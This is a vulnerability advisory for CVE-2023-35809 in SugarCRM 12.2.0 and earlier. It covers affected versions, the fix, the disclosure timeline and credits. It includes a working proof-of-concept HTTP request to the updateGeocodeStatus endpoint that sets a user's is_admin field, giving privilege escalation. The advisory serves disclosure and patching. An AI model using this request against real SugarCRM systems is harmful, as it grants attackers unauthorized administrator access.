SugarCRM <= 12.2.0 (updateGeocodeStatus) Bean Manipulation Vulnerability
• Software Link:
• Affected Versions:
Version 12.2.0 and prior versions.
Version 12.0.2 and prior versions.
Version 11.0.5 and prior versions.
• Vulnerability Description:
The vulnerability is exploitable through the "/maps/updateGeocodeStatus" REST API endpoint. This might allow a malicious user to modify arbitrary Sugar Beans, and that could lead to a variety of security impacts, such as Privilege Escalation attacks by sending an HTTP request like the following:
POST /rest/v11_17/maps/updateGeocodeStatus HTTP/1.1
Host: sugarcrm_website
Content-Type: application/json
OAuth-Token: d4cd573b-3b24-44ae-8eab-6d3b525f7974
Content-Length: 96
Connection: close
{"id":"b66bfa4a-726e-11ed-bd17-c465169411ca","module":"Users","fieldName":"is_admin","status":1}
• Solution:
Upgrade to version 12.3.0, 12.0.3, 11.0.6, or later.
• Disclosure Timeline:
[14/02/2023] – Vendor notified
[12/04/2023] – Fixed versions released
[17/06/2023] – CVE number assigned
[23/08/2023] – Publication of this advisory
• CVE Reference:
The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2023-35809 to this vulnerability.
• Credits:
Vulnerability discovered by Egidio Romano.
• Other References:
https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-007